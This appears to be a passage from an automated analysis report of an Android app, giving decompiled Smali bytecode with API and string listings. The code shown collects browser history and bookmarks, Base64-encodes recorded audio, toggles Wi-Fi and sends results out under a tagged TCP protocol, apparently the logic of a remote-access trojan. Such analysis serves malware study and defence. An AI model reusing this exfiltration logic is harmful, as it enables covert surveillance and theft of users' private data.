7invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
8move-result-object v0
10invoke-virtual {v0}, Landroid/net/NetworkInfo;->getExtraInfo()Ljava/lang/String;
11try_end_f: move-result-object v0
12goto_10: return-object v0
13catch_11: move-exception v0
15const-string v0, "-1"
16goto/16 :goto_10
APIs
  • android.graphics.BitmapFactory.decodeFile
  • sys.arshad.sys.MainActivity.getApplicationContext
  • android.app.WallpaperManager.getInstance
  • android.app.WallpaperManager.setBitmap
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$12;->a:Ljava/lang/String;
3invoke-static {v0}, Landroid/graphics/BitmapFactory;->decodeFile(Ljava/lang/String;)Landroid/graphics/Bitmap;
4move-result-object v0
6iget-object v1, p0, Lsys/arshad/sys/MainActivity$12;->b:Lsys/arshad/sys/MainActivity;
8invoke-virtual {v1}, Lsys/arshad/sys/MainActivity;->getApplicationContext()Landroid/content/Context;
9move-result-object v1
11invoke-static {v1}, Landroid/app/WallpaperManager;->getInstance(Landroid/content/Context;)Landroid/app/WallpaperManager;
12move-result-object v1
14invoke-virtual {v1, v0}, Landroid/app/WallpaperManager;->setBitmap(Landroid/graphics/Bitmap;)V
15goto_13: return-void
16catch_14: move-exception v0
17goto/16 :goto_13
Cross References
APIs
  • android.net.wifi.WifiManager.setWifiEnabled
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->f:Landroid/net/wifi/WifiManager;
2const/4 v1, 0x0
4invoke-virtual {v0, v1}, Landroid/net/wifi/WifiManager;->setWifiEnabled(Z)Z
  • Data flow analysis:
    • enabled: 0
6iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->f:Landroid/net/wifi/WifiManager;
7const/4 v1, 0x1
9invoke-virtual {v0, v1}, Landroid/net/wifi/WifiManager;->setWifiEnabled(Z)Z
  • Data flow analysis:
    • enabled: 1
10goto_c: return-void
11catch_d: move-exception v0
12goto/16 :goto_c
APIs
  • android.net.wifi.WifiManager.setWifiEnabled
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$2;->a:Lsys/arshad/sys/MainActivity$b;
3iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->f:Landroid/net/wifi/WifiManager;
4const/4 v1, 0x0
6invoke-virtual {v0, v1}, Landroid/net/wifi/WifiManager;->setWifiEnabled(Z)Z
  • Data flow analysis:
    • enabled: 0
7goto_8: return-void
8catch_9: move-exception v0
9goto/16 :goto_8
APIs
  • android.net.wifi.WifiManager.setWifiEnabled
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$47;->a:Lsys/arshad/sys/MainActivity$b;
3iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->f:Landroid/net/wifi/WifiManager;
4const/4 v1, 0x1
6invoke-virtual {v0, v1}, Landroid/net/wifi/WifiManager;->setWifiEnabled(Z)Z
  • Data flow analysis:
    • enabled: 1
7goto_8: return-void
8catch_9: move-exception v0
9goto/16 :goto_8
APIs
  • android.net.Uri.parse
  • sys.arshad.sys.MainActivity.managedQuery
  • sys.arshad.sys.MainActivity.startManagingCursor
  • android.database.Cursor.moveToFirst
  • java.lang.StringBuffer.<init>
  • android.database.Cursor.moveToFirst
  • android.database.Cursor.getCount
  • android.database.Cursor.isAfterLast
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getLong
  • sys.arshad.sys.MainActivity.a
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.PrintStream.println
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuffer.append
  • android.database.Cursor.moveToNext
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuffer.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
Strings
  • _id
  • url
  • visits
  • date
  • bookmark
  • title
  • favicon
  • thumbnail
  • touch_icon
  • user_entered
  • \n
  • [(0)sp]
  • [(0)Ln]
  • B23:::
  • [(0)tcp]
Position Instruction Meta Information
0const/4 v3, 0x0
2iget-object v0, p0, Lsys/arshad/sys/MainActivity$11;->a:Ljava/lang/String;
4invoke-static {v0}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
5move-result-object v1
6const/16 v0, 0xa
7new-array v2, v0, [Ljava/lang/String;
8const/4 v0, 0x0
10const-string v4, "_id"
11aput-object v4, v2, v0
12const/4 v0, 0x1
14const-string v4, "url"
15aput-object v4, v2, v0
16const/4 v0, 0x2
18const-string v4, "visits"
19aput-object v4, v2, v0
20const/4 v0, 0x3
22const-string v4, "date"
23aput-object v4, v2, v0
24const/4 v0, 0x4
26const-string v4, "bookmark"
27aput-object v4, v2, v0
28const/4 v0, 0x5
30const-string v4, "title"
31aput-object v4, v2, v0
32const/4 v0, 0x6
34const-string v4, "favicon"
35aput-object v4, v2, v0
36const/4 v0, 0x7
38const-string v4, "thumbnail"
39aput-object v4, v2, v0
40const/16 v0, 0x8
42const-string v4, "touch_icon"
43aput-object v4, v2, v0
44const/16 v0, 0x9
46const-string v4, "user_entered"
47aput-object v4, v2, v0
49iget-object v0, p0, Lsys/arshad/sys/MainActivity$11;->b:Lsys/arshad/sys/MainActivity;
50move-object v4, v3
51move-object v5, v3
53invoke-virtual/range {v0 .. v5}, Lsys/arshad/sys/MainActivity;->managedQuery(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
  • Data flow analysis:
    • p2: 0
    • p3: 0
    • p4: 0
54move-result-object v0
56iget-object v1, p0, Lsys/arshad/sys/MainActivity$11;->b:Lsys/arshad/sys/MainActivity;
58invoke-virtual {v1, v0}, Lsys/arshad/sys/MainActivity;->startManagingCursor(Landroid/database/Cursor;)V
60invoke-interface {v0}, Landroid/database/Cursor;->moveToFirst()Z
62const-string v1, ""
64const-string v1, ""
66const-string v1, ""
67new-instance v1, Ljava/lang/StringBuffer;
69invoke-direct {v1}, Ljava/lang/StringBuffer;-><init>()V
71invoke-interface {v0}, Landroid/database/Cursor;->moveToFirst()Z
72move-result v2
73if-eqz v2, :cond_119
75invoke-interface {v0}, Landroid/database/Cursor;->getCount()I
76move-result v2
77if-lez v2, :cond_119
78goto_66:
79invoke-interface {v0}, Landroid/database/Cursor;->isAfterLast()Z
80move-result v2
81if-nez v2, :cond_ef
83const-string v2, "title"
85invoke-interface {v0, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: title
86move-result v2
88invoke-interface {v0, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
89move-result-object v2
91const-string v3, "url"
93invoke-interface {v0, v3}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: url
94move-result v3
96invoke-interface {v0, v3}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
97move-result-object v3
99const-string v4, "date"
101invoke-interface {v0, v4}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: date
102move-result v4
104invoke-interface {v0, v4}, Landroid/database/Cursor;->getLong(I)J
105move-result-wide v4
107iget-object v6, p0, Lsys/arshad/sys/MainActivity$11;->b:Lsys/arshad/sys/MainActivity;
109invoke-virtual {v6, v4, v5}, Lsys/arshad/sys/MainActivity;->a(J)Ljava/lang/String;
110move-result-object v4
112sget-object v5, Ljava/lang/System;->out:Ljava/io/PrintStream;
113new-instance v6, Ljava/lang/StringBuilder;
115invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
117invoke-virtual {v6, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
118move-result-object v6
120const-string v7, "\n"
122invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \n
123move-result-object v6
125invoke-virtual {v6, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
126move-result-object v6
128const-string v7, "\n"
130invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \n
131move-result-object v6
133invoke-virtual {v6, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
134move-result-object v6
136const-string v7, "\n"
138invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \n
139move-result-object v6
141invoke-virtual {v6, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
142move-result-object v6
144invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
145move-result-object v6
147invoke-virtual {v5, v6}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
148new-instance v5, Ljava/lang/StringBuilder;
150invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
152invoke-virtual {v5, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
153move-result-object v2
155const-string v5, "[(0)sp]"
157invoke-virtual {v2, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
158move-result-object v2
160invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
161move-result-object v2
163const-string v4, "[(0)sp]"
165invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)sp]
166move-result-object v2
168invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
169move-result-object v2
171const-string v3, "[(0)Ln]"
173invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)Ln]
174move-result-object v2
176invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
177move-result-object v2
179invoke-virtual {v1, v2}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
181invoke-interface {v0}, Landroid/database/Cursor;->moveToNext()Z
182goto/16 :goto_66
183cond_ef:
184iget-object v0, p0, Lsys/arshad/sys/MainActivity$11;->b:Lsys/arshad/sys/MainActivity;
185new-instance v2, Ljava/lang/StringBuilder;
187invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
189const-string v3, "B23:::"
191invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B23:::
192move-result-object v2
194invoke-virtual {v1}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
195move-result-object v1
197invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
198move-result-object v1
200const-string v2, "[(0)tcp]"
202invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)tcp]
203move-result-object v1
205iget-object v2, p0, Lsys/arshad/sys/MainActivity$11;->b:Lsys/arshad/sys/MainActivity;
207iget-object v2, v2, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
209invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
210move-result-object v1
212invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
213move-result-object v1
215invoke-virtual {v0, v1}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
216cond_119: return-void
APIs
  • sys.arshad.sys.MainActivity$b$16$1.getResultCode
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
Strings
  • Transmission successful
  • B15:::
  • [(0)tcp]
  • Transmission failed
  • Radio off
  • No PDU defined
  • No service
Position Instruction Meta Information
1const-string v0, ""
3invoke-virtual {p0}, Lsys/arshad/sys/MainActivity$b$16$1;->getResultCode()I
4move-result v0
5packed-switch v0, :pswitch_data_102
6pswitch_9: return-void
7pswitch_a:
8const-string v0, "Transmission successful"
10iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$16$1;->a:Lsys/arshad/sys/MainActivity$b$16;
12iget-object v1, v1, Lsys/arshad/sys/MainActivity$b$16;->c:Lsys/arshad/sys/MainActivity$b;
14iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
15new-instance v2, Ljava/lang/StringBuilder;
17invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
19const-string v3, "B15:::"
21invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B15:::
22move-result-object v2
24invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Transmission successful
25move-result-object v0
27const-string v2, "[(0)tcp]"
29invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)tcp]
30move-result-object v0
32iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$16$1;->a:Lsys/arshad/sys/MainActivity$b$16;
34iget-object v2, v2, Lsys/arshad/sys/MainActivity$b$16;->c:Lsys/arshad/sys/MainActivity$b;
36iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
38iget-object v2, v2, Lsys/arshad/sys/MainActivity;->h:Ljava/lang/String;
40invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
41move-result-object v0
43invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
44move-result-object v0
46invoke-virtual {v1, v0}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
47goto/16 :goto_9
48pswitch_3b:
49const-string v0, "Transmission failed"
51iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$16$1;->a:Lsys/arshad/sys/MainActivity$b$16;
53iget-object v1, v1, Lsys/arshad/sys/MainActivity$b$16;->c:Lsys/arshad/sys/MainActivity$b;
55iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
56new-instance v2, Ljava/lang/StringBuilder;
58invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
60const-string v3, "B15:::"
62invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B15:::
63move-result-object v2
65invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Transmission failed
66move-result-object v0
68const-string v2, "[(0)tcp]"
70invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)tcp]
71move-result-object v0
73iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$16$1;->a:Lsys/arshad/sys/MainActivity$b$16;
75iget-object v2, v2, Lsys/arshad/sys/MainActivity$b$16;->c:Lsys/arshad/sys/MainActivity$b;
77iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
79iget-object v2, v2, Lsys/arshad/sys/MainActivity;->h:Ljava/lang/String;
81invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
82move-result-object v0
84invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
85move-result-object v0
87invoke-virtual {v1, v0}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
88goto/16 :goto_9
89pswitch_6c:
90const-string v0, "Radio off"
92iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$16$1;->a:Lsys/arshad/sys/MainActivity$b$16;
94iget-object v1, v1, Lsys/arshad/sys/MainActivity$b$16;->c:Lsys/arshad/sys/MainActivity$b;
96iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
97new-instance v2, Ljava/lang/StringBuilder;
99invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
101const-string v3, "B15:::"
103invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B15:::
104move-result-object v2
106invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Radio off
107move-result-object v0
109const-string v2, "[(0)tcp]"
111invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)tcp]
112move-result-object v0
114iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$16$1;->a:Lsys/arshad/sys/MainActivity$b$16;
116iget-object v2, v2, Lsys/arshad/sys/MainActivity$b$16;->c:Lsys/arshad/sys/MainActivity$b;
118iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
120iget-object v2, v2, Lsys/arshad/sys/MainActivity;->h:Ljava/lang/String;
122invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
123move-result-object v0
125invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
126move-result-object v0
128invoke-virtual {v1, v0}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
129goto/16 :goto_9
130pswitch_9e:
131const-string v0, "No PDU defined"
133iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$16$1;->a:Lsys/arshad/sys/MainActivity$b$16;
135iget-object v1, v1, Lsys/arshad/sys/MainActivity$b$16;->c:Lsys/arshad/sys/MainActivity$b;
137iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
138new-instance v2, Ljava/lang/StringBuilder;
140invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
142const-string v3, "B15:::"
144invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B15:::
145move-result-object v2
147invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: No PDU defined
148move-result-object v0
150const-string v2, "[(0)tcp]"
152invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)tcp]
153move-result-object v0
155iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$16$1;->a:Lsys/arshad/sys/MainActivity$b$16;
157iget-object v2, v2, Lsys/arshad/sys/MainActivity$b$16;->c:Lsys/arshad/sys/MainActivity$b;
159iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
161iget-object v2, v2, Lsys/arshad/sys/MainActivity;->h:Ljava/lang/String;
163invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
164move-result-object v0
166invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
167move-result-object v0
169invoke-virtual {v1, v0}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
170goto/16 :goto_9
171pswitch_d0:
172const-string v0, "No service"
174iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$16$1;->a:Lsys/arshad/sys/MainActivity$b$16;
176iget-object v1, v1, Lsys/arshad/sys/MainActivity$b$16;->c:Lsys/arshad/sys/MainActivity$b;
178iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
179new-instance v2, Ljava/lang/StringBuilder;
181invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
183const-string v3, "B15:::"
185invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B15:::
186move-result-object v2
188invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: No service
189move-result-object v0
191const-string v2, "[(0)tcp]"
193invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)tcp]
194move-result-object v0
196iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$16$1;->a:Lsys/arshad/sys/MainActivity$b$16;
198iget-object v2, v2, Lsys/arshad/sys/MainActivity$b$16;->c:Lsys/arshad/sys/MainActivity$b;
200iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
202iget-object v2, v2, Lsys/arshad/sys/MainActivity;->h:Ljava/lang/String;
204invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
205move-result-object v0
207invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
208move-result-object v0
210invoke-virtual {v1, v0}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
211goto/16 :goto_9
APIs
  • sys.arshad.sys.MainActivity.getSystemService
  • sys.arshad.sys.MainActivity.a
  • sys.arshad.sys.MainActivity.m
  • android.media.MediaRecorder.stop
  • sys.arshad.sys.MainActivity.m
  • android.media.MediaRecorder.release
  • sys.arshad.sys.MainActivity.n
  • java.lang.String.toString
  • android.net.Uri.parse
  • android.net.Uri.getPath
  • java.io.File.<init>
  • java.io.FileInputStream.<init>
  • java.io.ByteArrayOutputStream.<init>
  • java.io.FileInputStream.read
  • java.io.ByteArrayOutputStream.write
  • java.io.FileInputStream.close
  • java.io.ByteArrayOutputStream.close
  • java.io.ByteArrayOutputStream.toByteArray
  • android.util.Base64.encode
  • java.lang.String.<init>
  • java.lang.String.replace
  • java.io.PrintStream.println
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.PrintStream.println
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
  • java.io.File.delete
Strings
  • audio
  • \n
  • [(0)Ln]
  • --------------------------------------
  • -------------------------------------->
  • B5:::
  • [(0)tcp]
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$46;->a:Lsys/arshad/sys/MainActivity$b;
3iget-object v1, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
5iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$46;->a:Lsys/arshad/sys/MainActivity$b;
7iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
9const-string v2, "audio"
11invoke-virtual {v0, v2}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: audio
12move-result-object v0
13check-cast v0, Landroid/media/AudioManager;
15invoke-static {v1, v0}, Lsys/arshad/sys/MainActivity;->a(Lsys/arshad/sys/MainActivity;Landroid/media/AudioManager;)Landroid/media/AudioManager;
17iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$46;->a:Lsys/arshad/sys/MainActivity$b;
19iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
21invoke-static {v0}, Lsys/arshad/sys/MainActivity;->m(Lsys/arshad/sys/MainActivity;)Landroid/media/MediaRecorder;
22move-result-object v0
24invoke-virtual {v0}, Landroid/media/MediaRecorder;->stop()V
26iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$46;->a:Lsys/arshad/sys/MainActivity$b;
28iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
30invoke-static {v0}, Lsys/arshad/sys/MainActivity;->m(Lsys/arshad/sys/MainActivity;)Landroid/media/MediaRecorder;
31move-result-object v0
33invoke-virtual {v0}, Landroid/media/MediaRecorder;->release()V
35iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$46;->a:Lsys/arshad/sys/MainActivity$b;
37iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
39invoke-static {v0}, Lsys/arshad/sys/MainActivity;->n(Lsys/arshad/sys/MainActivity;)Ljava/lang/String;
40move-result-object v0
42invoke-virtual {v0}, Ljava/lang/String;->toString()Ljava/lang/String;
43move-result-object v0
45invoke-static {v0}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
46move-result-object v0
47new-instance v1, Ljava/io/File;
49invoke-virtual {v0}, Landroid/net/Uri;->getPath()Ljava/lang/String;
50move-result-object v0
52invoke-direct {v1, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
53new-instance v0, Ljava/io/FileInputStream;
55invoke-direct {v0, v1}, Ljava/io/FileInputStream;-><init>(Ljava/io/File;)V
56new-instance v2, Ljava/io/ByteArrayOutputStream;
58invoke-direct {v2}, Ljava/io/ByteArrayOutputStream;-><init>()V
59const/16 v3, 0x400
60new-array v3, v3, [B
61goto_50: const/4 v4, 0x0
62array-length v5, v3
64invoke-virtual {v0, v3, v4, v5}, Ljava/io/FileInputStream;->read([BII)I
  • Data flow analysis:
    • p1: 0
65move-result v4
66const/4 v5, -0x1
67if-eq v4, v5, :cond_60
68const/4 v5, 0x0
70invoke-virtual {v2, v3, v5, v4}, Ljava/io/ByteArrayOutputStream;->write([BII)V
  • Data flow analysis:
    • p1: 0
71goto/16 :goto_50
72catch_5e: move-exception v0
73goto_5f: return-void
74cond_60:
75invoke-virtual {v0}, Ljava/io/FileInputStream;->close()V
77invoke-virtual {v2}, Ljava/io/ByteArrayOutputStream;->close()V
79invoke-virtual {v2}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
80move-result-object v0
81const/4 v2, 0x0
83invoke-static {v0, v2}, Landroid/util/Base64;->encode([BI)[B
  • Data flow analysis:
    • flags: 0
84move-result-object v0
85new-instance v2, Ljava/lang/String;
87invoke-direct {v2, v0}, Ljava/lang/String;-><init>([B)V
89const-string v0, "\n"
91const-string v3, "[(0)Ln]"
93invoke-virtual {v2, v0, v3}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
  • Data flow analysis:
    • p0: \n
    • p1: [(0)Ln]
94move-result-object v0
96sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream;
98const-string v3, "--------------------------------------"
100invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: --------------------------------------
102sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream;
103new-instance v3, Ljava/lang/StringBuilder;
105invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
107const-string v4, "-------------------------------------->"
109invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: -------------------------------------->
110move-result-object v3
112invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
113move-result-object v3
115invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
116move-result-object v3
118invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
120iget-object v2, p0, Lsys/arshad/sys/MainActivity$b$46;->a:Lsys/arshad/sys/MainActivity$b;
122iget-object v2, v2, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
123new-instance v3, Ljava/lang/StringBuilder;
125invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
127const-string v4, "B5:::"
129invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
